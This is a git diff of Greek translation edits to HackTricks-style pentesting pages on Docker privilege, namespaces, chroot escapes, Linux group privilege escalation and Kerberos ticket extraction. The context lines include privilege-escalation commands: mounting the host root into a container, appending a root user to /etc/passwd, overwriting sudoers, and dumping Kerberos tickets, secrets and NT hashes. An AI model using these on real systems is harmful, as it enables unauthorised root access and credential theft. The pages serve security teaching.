**AppArmor** είναι μια βελτίωση του πυρήνα για να περιορίσει τα **containers** σε ένα **περιορισμένο** σύνολο **πόρων** με **προφίλ ανά πρόγραμμα**. Όταν εκτελείτε με την επιλογή `--privileged`, αυτή η προστασία είναι απενεργοποιημένη.
{{#ref}}
apparmor.md
@ -162,7 +162,8 @@ apparmor.md
```
### SELinux
Η εκτέλεση ενός κοντέινερ με την επιλογή `--privileged` απενεργοποιεί τις **ετικέτες SELinux**, κάνοντάς το να κληρονομεί την ετικέτα της μηχανής κοντέινερ, συνήθως `unconfined`, παρέχοντας πλήρη πρόσβαση παρόμοια με αυτή της μηχανής κοντέινερ. Σε λειτουργία χωρίς δικαιώματα root, χρησιμοποιεί `container_runtime_t`, ενώ σε λειτουργία με δικαιώματα root, εφαρμόζεται το `spc_t`.
Η εκτέλεση ενός κοντέινερ με την επιλογή `--privileged` απενεργοποιεί τις **ετικέτες SELinux**, προκαλώντας να κληρονομήσει την ετικέτα της μηχανής κοντέινερ, συνήθως `unconfined`, παρέχοντας πλήρη πρόσβαση παρόμοια με αυτή της μηχανής κοντέινερ. Σε λειτουργία χωρίς δικαιώματα root, χρησιμοποιεί `container_runtime_t`, ενώ σε λειτουργία root, εφαρμόζεται το `spc_t`.
{{#ref}}
../selinux.md
@ -171,11 +172,11 @@ apparmor.md
# You can manually disable selinux in docker with
--security-opt label:disable
```
## Τι Δεν Επηρεάζει
## Τι Δεν Επηρεάζεται
### Namespaces
Τα Namespaces **ΔΕΝ επηρεάζονται** από την επιλογή `--privileged`. Ακόμα και αν δεν έχουν ενεργοποιηθεί οι περιορισμοί ασφαλείας, **δεν βλέπουν όλες τις διεργασίες στο σύστημα ή το δίκτυο του host, για παράδειγμα**. Οι χρήστες μπορούν να απενεργοποιήσουν μεμονωμένα namespaces χρησιμοποιώντας τις επιλογές **`--pid=host`, `--net=host`, `--ipc=host`, `--uts=host`** των μηχανών κοντέινερ.
Τα Namespaces **ΔΕΝ επηρεάζονται** από την επιλογή `--privileged`. Αν και δεν έχουν ενεργοποιημένους τους περιορισμούς ασφαλείας, **δεν βλέπουν όλες τις διαδικασίες στο σύστημα ή το δίκτυο του host, για παράδειγμα**. Οι χρήστες μπορούν να απενεργοποιήσουν μεμονωμένα namespaces χρησιμοποιώντας τις επιλογές **`--pid=host`, `--net=host`, `--ipc=host`, `--uts=host`** των μηχανών κοντέινερ.
{{#tabs}}
{{#tab name="Inside default privileged container"}}
@ -188,7 +189,7 @@ PID USER TIME COMMAND
```
{{#endtab}}
{{#tab name="Μέσα --pid=host Container"}}
{{#tab name="Inside --pid=host Container"}}
```bash
# docker run --rm --privileged --pid=host -it alpine sh
ps -ef
@ -203,7 +204,7 @@ PID USER TIME COMMAND
### Χώρος ονομάτων χρήστη
**Από προεπιλογή, οι μηχανές κοντέινερ δεν χρησιμοποιούν χώρους ονομάτων χρηστών, εκτός από τα κοντέινερ χωρίς δικαιώματα χρήστη**, τα οποία τα απαιτούν για την τοποθέτηση συστήματος αρχείων και τη χρήση πολλαπλών UIDs. Οι χώροι ονομάτων χρηστών, που είναι αναγκαίοι για τα κοντέινερ χωρίς δικαιώματα χρήστη, δεν μπορούν να απενεργοποιηθούν και ενισχύουν σημαντικά την ασφάλεια περιορίζοντας τα προνόμια.
**Από προεπιλογή, οι μηχανές κοντέινερ δεν χρησιμοποιούν χώρους ονομάτων χρηστών, εκτός από τα κοντέινερ χωρίς δικαιώματα root**, τα οποία τα απαιτούν για την τοποθέτηση συστήματος αρχείων και τη χρήση πολλαπλών UIDs. Οι χώροι ονομάτων χρηστών, που είναι αναπόσπαστο μέρος των κοντέινερ χωρίς δικαιώματα root, δεν μπορούν να απενεργοποιηθούν και ενισχύουν σημαντικά την ασφάλεια περιορίζοντας τα προνόμια.
## Αναφορές

View File

@ -1,44 +1,51 @@
# Ονόματα Χώρων
# Namespaces
{{#include ../../../../banners/hacktricks-training.md}}
### **Χώρος PID**
### **PID namespace**
{{#ref}}
pid-namespace.md
{{#endref}}
### **Χώρος Mount**
### **Mount namespace**
{{#ref}}
mount-namespace.md
{{#endref}}
### **Χώρος Δικτύου**
### **Network namespace**
{{#ref}}
network-namespace.md
{{#endref}}
### **Χώρος IPC**
### **IPC Namespace**
{{#ref}}
ipc-namespace.md
{{#endref}}
### **Χώρος UTS**
### **UTS namespace**
{{#ref}}
uts-namespace.md
{{#endref}}
### Χώρος Χρόνου
### Time Namespace
{{#ref}}
time-namespace.md
{{#endref}}
### Χώρος Χρήστη
### User namespace
{{#ref}}
user-namespace.md

View File

@ -4,15 +4,15 @@
## Basic Information
Ένα cgroup namespace είναι μια δυνατότητα του πυρήνα Linux που παρέχει **απομόνωση των ιεραρχιών cgroup για διαδικασίες που εκτελούνται εντός ενός namespace**. Τα cgroups, συντομογραφία για **control groups**, είναι μια δυνατότητα του πυρήνα που επιτρέπει την οργάνωση διαδικασιών σε ιεραρχικές ομάδες για τη διαχείριση και επιβολή **ορίων στους πόρους του συστήματος** όπως CPU, μνήμη και I/O.
Ένα cgroup namespace είναι μια δυνατότητα του πυρήνα Linux που παρέχει **απομόνωση των ιεραρχιών cgroup για διεργασίες που εκτελούνται εντός ενός namespace**. Τα cgroups, συντομογραφία για **control groups**, είναι μια δυνατότητα του πυρήνα που επιτρέπει την οργάνωση διεργασιών σε ιεραρχικές ομάδες για τη διαχείριση και επιβολή **ορίων στους πόρους του συστήματος** όπως CPU, μνήμη και I/O.
Ενώ τα cgroup namespaces δεν είναι ένας ξεχωριστός τύπος namespace όπως οι άλλοι που συζητήσαμε νωρίτερα (PID, mount, network, κ.λπ.), σχετίζονται με την έννοια της απομόνωσης namespace. **Τα cgroup namespaces εικονικοποιούν την άποψη της ιεραρχίας cgroup**, έτσι ώστε οι διαδικασίες που εκτελούνται εντός ενός cgroup namespace να έχουν μια διαφορετική άποψη της ιεραρχίας σε σύγκριση με τις διαδικασίες που εκτελούνται στον οικοδεσπότη ή σε άλλα namespaces.
Ενώ τα cgroup namespaces δεν είναι ένας ξεχωριστός τύπος namespace όπως οι άλλοι που συζητήσαμε νωρίτερα (PID, mount, network, κ.λπ.), σχετίζονται με την έννοια της απομόνωσης namespace. **Τα cgroup namespaces εικονικοποιούν την άποψη της ιεραρχίας cgroup**, έτσι ώστε οι διεργασίες που εκτελούνται εντός ενός cgroup namespace να έχουν μια διαφορετική άποψη της ιεραρχίας σε σύγκριση με τις διεργασίες που εκτελούνται στον κεντρικό υπολογιστή ή σε άλλα namespaces.
### How it works:
1. Όταν δημιουργείται ένα νέο cgroup namespace, **ξεκινά με μια άποψη της ιεραρχίας cgroup βασισμένη στην cgroup της διαδικασίας που το δημιουργεί**. Αυτό σημαίνει ότι οι διαδικασίες που εκτελούνται στο νέο cgroup namespace θα βλέπουν μόνο ένα υποσύνολο της συνολικής ιεραρχίας cgroup, περιορισμένο στην υποδένδρο cgroup που ριζώνει στην cgroup της διαδικασίας που το δημιουργεί.
2. Οι διαδικασίες εντός ενός cgroup namespace θα **βλέπουν τη δική τους cgroup ως τη ρίζα της ιεραρχίας**. Αυτό σημαίνει ότι, από την προοπτική των διαδικασιών μέσα στο namespace, η δική τους cgroup εμφανίζεται ως η ρίζα, και δεν μπορούν να δουν ή να έχουν πρόσβαση σε cgroups εκτός του δικού τους υποδένδρου.
3. Τα cgroup namespaces δεν παρέχουν άμεση απομόνωση πόρων; **παρέχουν μόνο απομόνωση της άποψης της ιεραρχίας cgroup**. **Ο έλεγχος και η απομόνωση πόρων επιβάλλονται ακόμα από τα ίδια τα υποσυστήματα cgroup** (π.χ., cpu, memory, κ.λπ.).
1. Όταν δημιουργείται ένα νέο cgroup namespace, **ξεκινά με μια άποψη της ιεραρχίας cgroup βασισμένη στην cgroup της διεργασίας που το δημιούργησε**. Αυτό σημαίνει ότι οι διεργασίες που εκτελούνται στο νέο cgroup namespace θα βλέπουν μόνο ένα υποσύνολο της συνολικής ιεραρχίας cgroup, περιορισμένο στην υποδένδρο cgroup που έχει ρίζα την cgroup της διεργασίας που το δημιούργησε.
2. Οι διεργασίες εντός ενός cgroup namespace θα **βλέπουν τη δική τους cgroup ως τη ρίζα της ιεραρχίας**. Αυτό σημαίνει ότι, από την προοπτική των διεργασιών μέσα στο namespace, η δική τους cgroup εμφανίζεται ως η ρίζα, και δεν μπορούν να δουν ή να έχουν πρόσβαση σε cgroups εκτός του δικού τους υποδένδρου.
3. Τα cgroup namespaces δεν παρέχουν άμεση απομόνωση πόρων; **παρέχουν μόνο απομόνωση της άποψης της ιεραρχίας cgroup**. **Ο έλεγχος και η απομόνωση πόρων επιβάλλονται ακόμα από τα ίδια τα subsystems cgroup** (π.χ., cpu, memory, κ.λπ.).
Για περισσότερες πληροφορίες σχετικά με τα CGroups ελέγξτε:
@ -28,29 +28,29 @@
```bash
sudo unshare -C [--mount-proc] /bin/bash
```
Με την τοποθέτηση μιας νέας παρουσίας του συστήματος αρχείων `/proc` αν χρησιμοποιήσετε την παράμετρο `--mount-proc`, διασφαλίζετε ότι η νέα mount namespace έχει μια **ακριβή και απομονωμένη άποψη των πληροφοριών διαδικασίας που είναι συγκεκριμένες για αυτή τη namespace**.
Με την τοποθέτηση μιας νέας παρουσίας του συστήματος αρχείων `/proc` αν χρησιμοποιήσετε την παράμετρο `--mount-proc`, διασφαλίζετε ότι το νέο mount namespace έχει μια **ακριβή και απομονωμένη άποψη των πληροφοριών διαδικασίας που είναι συγκεκριμένες για αυτό το namespace**.
<details>
<summary>Σφάλμα: bash: fork: Cannot allocate memory</summary>
Όταν εκτελείται το `unshare` χωρίς την επιλογή `-f`, προκύπτει ένα σφάλμα λόγω του τρόπου που το Linux χειρίζεται τις νέες PID (Process ID) namespaces. Οι βασικές λεπτομέρειες και η λύση περιγράφονται παρακάτω:
Όταν εκτελείται το `unshare` χωρίς την επιλογή `-f`, προκύπτει ένα σφάλμα λόγω του τρόπου που το Linux χειρίζεται τα νέα PID (Process ID) namespaces. Οι βασικές λεπτομέρειες και η λύση περιγράφονται παρακάτω:
1. **Εξήγηση Προβλήματος**:
- Ο πυρήνας του Linux επιτρέπει σε μια διαδικασία να δημιουργεί νέες namespaces χρησιμοποιώντας την κλήση συστήματος `unshare`. Ωστόσο, η διαδικασία που ξεκινά τη δημιουργία μιας νέας PID namespace (αναφερόμενη ως η διαδικασία "unshare") δεν εισέρχεται στη νέα namespace; μόνο οι παιδικές της διαδικασίες το κάνουν.
- Η εκτέλεση `%unshare -p /bin/bash%` ξεκινά το `/bin/bash` στην ίδια διαδικασία με το `unshare`. Ως εκ τούτου, το `/bin/bash` και οι παιδικές του διαδικασίες βρίσκονται στην αρχική PID namespace.
- Η πρώτη παιδική διαδικασία του `/bin/bash` στη νέα namespace γίνεται PID 1. Όταν αυτή η διαδικασία τερματίσει, ενεργοποιεί την καθαριότητα της namespace αν δεν υπάρχουν άλλες διαδικασίες, καθώς το PID 1 έχει τον ειδικό ρόλο της υιοθέτησης ορφανών διαδικασιών. Ο πυρήνας του Linux θα απενεργοποιήσει στη συνέχεια την κατανομή PID σε αυτή τη namespace.
- Ο πυρήνας του Linux επιτρέπει σε μια διαδικασία να δημιουργεί νέα namespaces χρησιμοποιώντας την κλήση συστήματος `unshare`. Ωστόσο, η διαδικασία που ξεκινά τη δημιουργία ενός νέου PID namespace (αναφερόμενη ως η διαδικασία "unshare") δεν εισέρχεται στο νέο namespace; μόνο οι παιδικές της διαδικασίες το κάνουν.
- Η εκτέλεση `%unshare -p /bin/bash%` ξεκινά το `/bin/bash` στην ίδια διαδικασία με το `unshare`. Ως εκ τούτου, το `/bin/bash` και οι παιδικές του διαδικασίες βρίσκονται στο αρχικό PID namespace.
- Η πρώτη παιδική διαδικασία του `/bin/bash` στο νέο namespace γίνεται PID 1. Όταν αυτή η διαδικασία τερματίσει, ενεργοποιεί την καθαριότητα του namespace αν δεν υπάρχουν άλλες διαδικασίες, καθώς το PID 1 έχει τον ειδικό ρόλο της υιοθέτησης ορφανών διαδικασιών. Ο πυρήνας του Linux θα απενεργοποιήσει στη συνέχεια την κατανομή PID σε αυτό το namespace.
2. **Συνέπεια**:
- Η έξοδος του PID 1 σε μια νέα namespace οδηγεί στον καθαρισμό της σημαίας `PIDNS_HASH_ADDING`. Αυτό έχει ως αποτέλεσμα τη αποτυχία της συνάρτησης `alloc_pid` να κατανοήσει ένα νέο PID κατά τη δημιουργία μιας νέας διαδικασίας, παράγοντας το σφάλμα "Cannot allocate memory".
- Η έξοδος του PID 1 σε ένα νέο namespace οδηγεί στον καθαρισμό της σημαίας `PIDNS_HASH_ADDING`. Αυτό έχει ως αποτέλεσμα τη αποτυχία της συνάρτησης `alloc_pid` να κατανεμηθεί ένα νέο PID κατά τη δημιουργία μιας νέας διαδικασίας, παράγοντας το σφάλμα "Cannot allocate memory".
3. **Λύση**:
- Το πρόβλημα μπορεί να επιλυθεί χρησιμοποιώντας την επιλογή `-f` με το `unshare`. Αυτή η επιλογή κάνει το `unshare` να δημιουργήσει μια νέα διαδικασία μετά τη δημιουργία της νέας PID namespace.
- Η εκτέλεση `%unshare -fp /bin/bash%` διασφαλίζει ότι η εντολή `unshare` γίνεται PID 1 στη νέα namespace. Το `/bin/bash` και οι παιδικές του διαδικασίες είναι στη συνέχεια ασφαλώς περιεχόμενες μέσα σε αυτή τη νέα namespace, αποτρέποντας την πρόωρη έξοδο του PID 1 και επιτρέποντας την κανονική κατανομή PID.
- Το ζήτημα μπορεί να επιλυθεί χρησιμοποιώντας την επιλογή `-f` με το `unshare`. Αυτή η επιλογή κάνει το `unshare` να δημιουργήσει μια νέα διαδικασία μετά τη δημιουργία του νέου PID namespace.
- Η εκτέλεση `%unshare -fp /bin/bash%` διασφαλίζει ότι η εντολή `unshare` γίνεται PID 1 στο νέο namespace. Το `/bin/bash` και οι παιδικές του διαδικασίες είναι στη συνέχεια ασφαλώς περιορισμένες μέσα σε αυτό το νέο namespace, αποτρέποντας την πρόωρη έξοδο του PID 1 και επιτρέποντας την κανονική κατανομή PID.
Διασφαλίζοντας ότι το `unshare` εκτελείται με την επιλογή `-f`, η νέα PID namespace διατηρείται σωστά, επιτρέποντας στο `/bin/bash` και τις υπο-διαδικασίες του να λειτουργούν χωρίς να αντιμετωπίζουν το σφάλμα κατανομής μνήμης.
Διασφαλίζοντας ότι το `unshare` εκτελείται με την επιλογή `-f`, το νέο PID namespace διατηρείται σωστά, επιτρέποντας στο `/bin/bash` και τις υπο-διαδικασίες του να λειτουργούν χωρίς να αντιμετωπίζουν το σφάλμα κατανομής μνήμης.
</details>

View File

@ -4,11 +4,11 @@
## **GTFOBins**
**Αναζητήστε σε** [**https://gtfobins.github.io/**](https://gtfobins.github.io) **αν μπορείτε να εκτελέσετε οποιοδήποτε δυαδικό με ιδιότητα "Shell"**
**Αναζητήστε στο** [**https://gtfobins.github.io/**](https://gtfobins.github.io) **αν μπορείτε να εκτελέσετε οποιοδήποτε δυαδικό αρχείο με ιδιότητα "Shell"**
## Chroot Escapes
Από [wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations): Ο μηχανισμός chroot **δεν προορίζεται για να υπερασπιστεί** ενάντια σε σκόπιμες παρεμβάσεις από **privileged** (**root**) **χρήστες**. Σε τα περισσότερα συστήματα, τα συμφραζόμενα chroot δεν στοιβάζονται σωστά και τα chrooted προγράμματα **με επαρκή δικαιώματα μπορεί να εκτελέσουν ένα δεύτερο chroot για να σπάσουν**.\
Από [wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations): Ο μηχανισμός chroot **δεν προορίζεται για να υπερασπιστεί** ενάντια σε σκόπιμες παρεμβάσεις από **privileged** (**root**) **χρήστες**. Στα περισσότερα συστήματα, τα συμφραζόμενα chroot δεν στοιβάζονται σωστά και τα προγράμματα που είναι chrooted **με επαρκή δικαιώματα μπορεί να εκτελέσουν ένα δεύτερο chroot για να διαφύγουν**.\
Συνήθως αυτό σημαίνει ότι για να διαφύγετε πρέπει να είστε root μέσα στο chroot.
> [!TIP]
@ -19,9 +19,9 @@
> [!WARNING]
> Αν είστε **root** μέσα σε ένα chroot μπορείτε **να διαφύγετε** δημιουργώντας **ένα άλλο chroot**. Αυτό συμβαίνει γιατί 2 chroots δεν μπορούν να συνυπάρξουν (σε Linux), οπότε αν δημιουργήσετε έναν φάκελο και στη συνέχεια **δημιουργήσετε ένα νέο chroot** σε αυτόν τον νέο φάκελο ενώ **είστε έξω από αυτό**, θα είστε τώρα **έξω από το νέο chroot** και επομένως θα είστε στο FS.
>
> Αυτό συμβαίνει γιατί συνήθως το chroot ΔΕΝ μετακινεί τον τρέχοντα κατάλογό σας στον υποδεικνυόμενο, οπότε μπορείτε να δημιουργήσετε ένα chroot αλλά να είστε έξω από αυτό.
> Αυτό συμβαίνει γιατί συνήθως το chroot ΔΕΝ μετακινεί τον τρέχοντα κατάλογο εργασίας σας στον υποδεικνυόμενο, οπότε μπορείτε να δημιουργήσετε ένα chroot αλλά να είστε έξω από αυτό.
Συνήθως δεν θα βρείτε το δυαδικό `chroot` μέσα σε μια chroot φυλακή, αλλά θα **μπορούσατε να μεταγλωττίσετε, να ανεβάσετε και να εκτελέσετε** ένα δυαδικό:
Συνήθως δεν θα βρείτε το δυαδικό αρχείο `chroot` μέσα σε μια chroot φυλακή, αλλά θα μπορούσατε **να συντάξετε, να ανεβάσετε και να εκτελέσετε** ένα δυαδικό αρχείο:
<details>
@ -112,26 +112,26 @@ chroot(".");
> FD μπορεί να περαστεί μέσω Unix Domain Sockets, οπότε:
>
> - Δημιουργήστε μια διαδικασία παιδί (fork)
> - Δημιουργήστε UDS ώστε ο γονέας και το παιδί να μπορούν να μιλούν
> - Δημιουργήστε UDS ώστε ο γονέας και το παιδί να μπορούν να μιλήσουν
> - Εκτελέστε chroot στη διαδικασία παιδιού σε διαφορετικό φάκελο
> - Στη διαδικασία γονέα, δημιουργήστε ένα FD ενός φακέλου που είναι εκτός του νέου chroot της διαδικασίας παιδιού
> - Περάστε στη διαδικασία παιδιού αυτό το FD χρησιμοποιώντας το UDS
> - Η διαδικασία παιδιού chdir σε αυτό το FD, και επειδή είναι εκτός του chroot της, θα διαφύγει από τη φυλακή
> - Η διαδικασία παιδιού αλλάζει κατάλογο σε αυτό το FD, και επειδή είναι εκτός του chroot, θα ξεφύγει από τη φυλακή
### Root + Mount
> [!WARNING]
>
> - Τοποθέτηση της ρίζας συσκευής (/) σε έναν φάκελο μέσα στο chroot
> - Chrooting σε αυτόν τον φάκελο
> - Τοποθέτηση της ρίζας συσκευής (/) σε έναν κατάλογο μέσα στο chroot
> - Chrooting σε αυτόν τον κατάλογο
>
> Αυτό είναι δυνατό σε Linux
> Αυτό είναι δυνατό στο Linux
### Root + /proc
> [!WARNING]
>
> - Τοποθέτηση του procfs σε έναν φάκελο μέσα στο chroot (αν δεν είναι ήδη)
> - Τοποθέτηση του procfs σε έναν κατάλογο μέσα στο chroot (αν δεν είναι ήδη)
> - Αναζητήστε ένα pid που έχει διαφορετική είσοδο root/cwd, όπως: /proc/1/root
> - Chroot σε αυτήν την είσοδο
@ -198,7 +198,7 @@ BASH_CMDS[shell]=/bin/bash;shell -i
```
### Wget
Μπορείτε να αντικαταστήσετε, για παράδειγμα, το αρχείο sudoers.
Μπορείτε να αντικαταστήσετε, για παράδειγμα, το αρχείο sudoers
```bash
wget http://127.0.0.1:8080/sudoers -O /etc/sudoers
```
@ -209,13 +209,15 @@ wget http://127.0.0.1:8080/sudoers -O /etc/sudoers
[https://gtfobins.github.io](https://gtfobins.github.io/**](https/gtfobins.github.io)\
**Θα μπορούσε επίσης να είναι ενδιαφέρον η σελίδα:**
{{#ref}}
../bypass-bash-restrictions/
{{#endref}}
## Python Jails
Τεχνικές για την αποφυγή περιορισμών από python jails στη παρακάτω σελίδα:
Τεχνικές για την έξοδο από python jails στην παρακάτω σελίδα:
{{#ref}}
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/

View File

@ -2,7 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
## Sudo/Διαχειριστικά Γκρουπ
## Ομάδες Sudo/Διαχειριστή
### **PE - Μέθοδος 1**
@ -31,7 +31,7 @@ find / -perm -4000 2>/dev/null
```bash
cat /etc/polkit-1/localauthority.conf.d/*
```
Εκεί θα βρείτε ποιες ομάδες επιτρέπεται να εκτελούν **pkexec** και **κατά προεπιλογή** σε ορισμένες διανομές linux οι ομάδες **sudo** και **admin** εμφανίζονται.
Εκεί θα βρείτε ποιες ομάδες επιτρέπεται να εκτελούν **pkexec** και **κατά προεπιλογή** σε ορισμένες διανομές Linux οι ομάδες **sudo** και **admin** εμφανίζονται.
Για **να γίνετε root μπορείτε να εκτελέσετε**:
```bash
@ -86,9 +86,9 @@ $ echo $PATH
# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```
Αν μπορέσουμε να υποκλέψουμε μερικά προγράμματα στο `/usr/local`, μπορούμε εύκολα να αποκτήσουμε δικαιώματα root.
Αν μπορέσουμε να υποκλέψουμε κάποια προγράμματα στο `/usr/local`, μπορούμε εύκολα να αποκτήσουμε δικαιώματα root.
Η υποκλοπή του προγράμματος `run-parts` είναι ένας εύκολος τρόπος για να αποκτήσουμε δικαιώματα root, επειδή τα περισσότερα προγράμματα θα εκτελούν ένα `run-parts` όπως (crontab, όταν γίνεται σύνδεση μέσω ssh).
Η υποκλοπή του προγράμματος `run-parts` είναι ένας εύκολος τρόπος για να αποκτήσουμε δικαιώματα root, επειδή τα περισσότερα προγράμματα θα εκτελούν ένα `run-parts` όπως (crontab, κατά την είσοδο μέσω ssh).
```bash
$ cat /etc/crontab | grep run-parts
17 * * * * root cd / && run-parts --report /etc/cron.hourly
@ -181,7 +181,7 @@ find / -group root -perm -g=w 2>/dev/null
```
## Docker Group
Μπορείτε να **συνδέσετε το ριζικό σύστημα αρχείων της μηχανής φιλοξενίας σε έναν τόμο της παρουσίας**, έτσι ώστε όταν η παρουσία ξεκινά, να φορτώνει αμέσως ένα `chroot` σε αυτόν τον τόμο. Αυτό σας δίνει ουσιαστικά δικαιώματα root στη μηχανή.
Μπορείτε να **συνδέσετε το ριζικό σύστημα αρχείων της μηχανής φιλοξενίας σε έναν όγκο της παρουσίας**, έτσι ώστε όταν η παρουσία ξεκινά, να φορτώνει αμέσως ένα `chroot` σε αυτόν τον όγκο. Αυτό σας δίνει ουσιαστικά δικαιώματα root στη μηχανή.
```bash
docker image #Get images from the docker service
@ -193,7 +193,7 @@ echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/pa
#Ifyou just want filesystem and network access you can startthe following container:
docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash
```
Τέλος, αν δεν σας αρέσει καμία από τις προηγούμενες προτάσεις, ή αν δεν λειτουργούν για κάποιο λόγο (docker api firewall;) μπορείτε πάντα να **τρέξετε ένα προνομιακό κοντέινερ και να διαφύγετε από αυτό** όπως εξηγείται εδώ:
Τέλος, αν δεν σας αρέσει καμία από τις προηγούμενες προτάσεις ή δεν λειτουργούν για κάποιο λόγο (docker api firewall;), μπορείτε πάντα να **τρέξετε ένα προνομιακό κοντέινερ και να διαφύγετε από αυτό** όπως εξηγείται εδώ:
{{#ref}}
../docker-security/
@ -218,11 +218,11 @@ https://fosterelli.co/privilege-escalation-via-docker.html
## Adm Group
Συνήθως οι **μέλη** της ομάδας **`adm`** έχουν δικαιώματα να **διαβάζουν** αρχεία καταγραφής που βρίσκονται μέσα στο _/var/log/_.\
Επομένως, αν έχετε παραβιάσει έναν χρήστη μέσα σε αυτή την ομάδα, θα πρέπει σίγουρα να ρίξετε μια **ματιά στα logs**.
Επομένως, αν έχετε παραβιάσει έναν χρήστη μέσα σε αυτή την ομάδα, θα πρέπει σίγουρα να ρίξετε μια **ματιά στα αρχεία καταγραφής**.
## Auth group
Μέσα στο OpenBSD η ομάδα **auth** συνήθως μπορεί να γράφει στους φακέλους _**/etc/skey**_ και _**/var/db/yubikey**_ αν χρησιμοποιούνται.\
Μέσα στο OpenBSD, η ομάδα **auth** συνήθως μπορεί να γράφει στους φακέλους _**/etc/skey**_ και _**/var/db/yubikey**_ αν χρησιμοποιούνται.\
Αυτά τα δικαιώματα μπορεί να εκμεταλλευτούν με την παρακάτω εκμετάλλευση για να **κλιμακώσουν τα προνόμια** σε root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -51,9 +51,9 @@ export KRB5CCNAME=/tmp/krb5cc_1000
```
### CCACHE ticket reuse from keyring
**Τα εισιτήρια Kerberos που αποθηκεύονται στη μνήμη μιας διαδικασίας μπορούν να εξαχθούν**, ιδιαίτερα όταν η προστασία ptrace της μηχανής είναι απενεργοποιημένη (`/proc/sys/kernel/yama/ptrace_scope`). Ένα χρήσιμο εργαλείο για αυτό το σκοπό βρίσκεται στο [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), το οποίο διευκολύνει την εξαγωγή με την ένεση σε συνεδρίες και την εκφόρτωση εισιτηρίων στο `/tmp`.
**Τα αποθηκευμένα Kerberos tickets στη μνήμη μιας διαδικασίας μπορούν να εξαχθούν**, ιδιαίτερα όταν η προστασία ptrace της μηχανής είναι απενεργοποιημένη (`/proc/sys/kernel/yama/ptrace_scope`). Ένα χρήσιμο εργαλείο για αυτόν τον σκοπό βρίσκεται στο [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), το οποίο διευκολύνει την εξαγωγή με την ένεση σε συνεδρίες και την εκφόρτωση των tickets στο `/tmp`.
Για να ρυθμίσετε και να χρησιμοποιήσετε αυτό το εργαλείο, ακολουθούνται τα παρακάτω βήματα:
Για να ρυθμίσετε και να χρησιμοποιήσετε αυτό το εργαλείο, ακολουθούν τα παρακάτω βήματα:
```bash
git clone https://github.com/TarlogicSecurity/tickey
cd tickey/tickey
@ -66,14 +66,14 @@ make CONF=Release
Το SSSD διατηρεί ένα αντίγραφο της βάσης δεδομένων στη διαδρομή `/var/lib/sss/secrets/secrets.ldb`. Το αντίστοιχο κλειδί αποθηκεύεται ως κρυφό αρχείο στη διαδρομή `/var/lib/sss/secrets/.secrets.mkey`. Από προεπιλογή, το κλειδί είναι αναγνώσιμο μόνο αν έχετε δικαιώματα **root**.
Η κλήση του **`SSSDKCMExtractor`** με τις παραμέτρους --database και --key θα αναλύσει τη βάση δεδομένων και θα **αποκρυπτογραφήσει τα μυστικά**.
Η εκτέλεση του **`SSSDKCMExtractor`** με τις παραμέτρους --database και --key θα αναλύσει τη βάση δεδομένων και θα **αποκρυπτογραφήσει τα μυστικά**.
```bash
git clone https://github.com/fireeye/SSSDKCMExtractor
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
```
Το **credential cache Kerberos blob μπορεί να μετατραπεί σε ένα χρησιμοποιήσιμο αρχείο Kerberos CCache** που μπορεί να περαστεί σε Mimikatz/Rubeus.
Το **blob κρυπτογράφησης Kerberos μπορεί να μετατραπεί σε ένα χρησιμοποιήσιμο αρχείο Kerberos CCache** που μπορεί να περαστεί σε Mimikatz/Rubeus.
### CCACHE ticket reuse από keytab
### Επαναχρησιμοποίηση εισιτηρίου CCACHE από keytab
```bash
git clone https://github.com/its-a-feature/KeytabParser
python KeytabParser.py /etc/krb5.keytab
@ -81,9 +81,9 @@ klist -k /etc/krb5.keytab
```
### Εξαγωγή λογαριασμών από το /etc/krb5.keytab
Οι κωδικοί υπηρεσιών, που είναι απαραίτητοι για υπηρεσίες που λειτουργούν με δικαιώματα root, αποθηκεύονται με ασφάλεια στα αρχεία **`/etc/krb5.keytab`**. Αυτοί οι κωδικοί, παρόμοιοι με τους κωδικούς πρόσβασης για υπηρεσίες, απαιτούν αυστηρή εμπιστευτικότητα.
Τα κλειδιά λογαριασμού υπηρεσίας, που είναι απαραίτητα για υπηρεσίες που λειτουργούν με δικαιώματα root, αποθηκεύονται με ασφάλεια στα αρχεία **`/etc/krb5.keytab`**. Αυτά τα κλειδιά, παρόμοια με τους κωδικούς πρόσβασης για υπηρεσίες, απαιτούν αυστηρή εμπιστευτικότητα.
Για να ελέγξετε το περιεχόμενο του αρχείου keytab, μπορεί να χρησιμοποιηθεί το **`klist`**. Το εργαλείο έχει σχεδιαστεί για να εμφανίζει λεπτομέρειες κλειδιών, συμπεριλαμβανομένου του **NT Hash** για την αυθεντικοποίηση χρηστών, ιδιαίτερα όταν ο τύπος κλειδιού αναγνωρίζεται ως 23.
Για να ελέγξετε το περιεχόμενο του αρχείου keytab, μπορεί να χρησιμοποιηθεί το **`klist`**. Το εργαλείο είναι σχεδιασμένο να εμφανίζει λεπτομέρειες κλειδιών, συμπεριλαμβανομένου του **NT Hash** για την αυθεντικοποίηση χρηστών, ιδιαίτερα όταν ο τύπος κλειδιού αναγνωρίζεται ως 23.
```bash
klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab
# Output includes service principal details and the NT Hash
@ -97,7 +97,7 @@ python3 keytabextract.py krb5.keytab
```bash
./bifrost -action dump -source keytab -path /path/to/your/file
```
Χρησιμοποιώντας τις εξαγόμενες πληροφορίες λογαριασμού και κατακερματισμού, μπορούν να δημιουργηθούν συνδέσεις με διακομιστές χρησιμοποιώντας εργαλεία όπως το **`crackmapexec`**.
Χρησιμοποιώντας τις εξαγόμενες πληροφορίες λογαριασμού και hash, μπορούν να δημιουργηθούν συνδέσεις με διακομιστές χρησιμοποιώντας εργαλεία όπως το **`crackmapexec`**.
```bash
